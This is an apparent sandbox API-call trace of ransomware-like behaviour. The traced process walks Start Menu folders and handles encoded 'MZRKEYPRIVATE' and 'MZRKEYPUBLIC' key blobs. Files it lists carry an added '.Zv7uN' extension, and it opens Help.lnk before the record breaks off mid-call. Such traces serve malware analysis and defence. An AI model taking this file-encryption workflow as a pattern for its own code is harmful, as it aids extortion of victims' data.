FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.503] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60f940c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Internet Explorer (64-bit).lnk.Zv7uN", cAlternateFileName="INTERN~1.ZV7")) returned 1 [0129.503] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0129.503] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.504] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60fba220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Internet Explorer.lnk.Zv7uN", cAlternateFileName="INTERN~2.ZV7")) returned 1 [0129.504] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0129.504] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.504] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0129.504] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0129.504] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.504] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0129.504] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.504] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0129.504] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0129.504] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.505] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e0387ee, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Help.lnk", cAlternateFileName="")) returned 1 [0129.505] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.505] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e0387ee, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106)) returned 1 [0129.506] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk")) returned 0x20 [0129.506] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk", dwFileAttributes=0x80) returned 1 [0129.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0129.509] GetCurrentThreadId () returned 0xa30 [0129.509] GetCurrentThreadId () returned 0xa30 [0129.509] GetCurrentThreadId () returned 0xa30 [0129.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.510] GetCurrentThreadId () returned 0xa30 [0129.510] GetCurrentThreadId () returned 0xa30 [0129.510] GetCurrentThreadId () returned 0xa30 [0129.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0129.511] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0129.511] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0129.511] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x106 [0129.511] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0129.511] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x106, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x106, lpOverlapped=0x0) returned 1 [0129.513] CloseHandle (hObject=0x1e8) returned 1 [0129.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" (normalized: 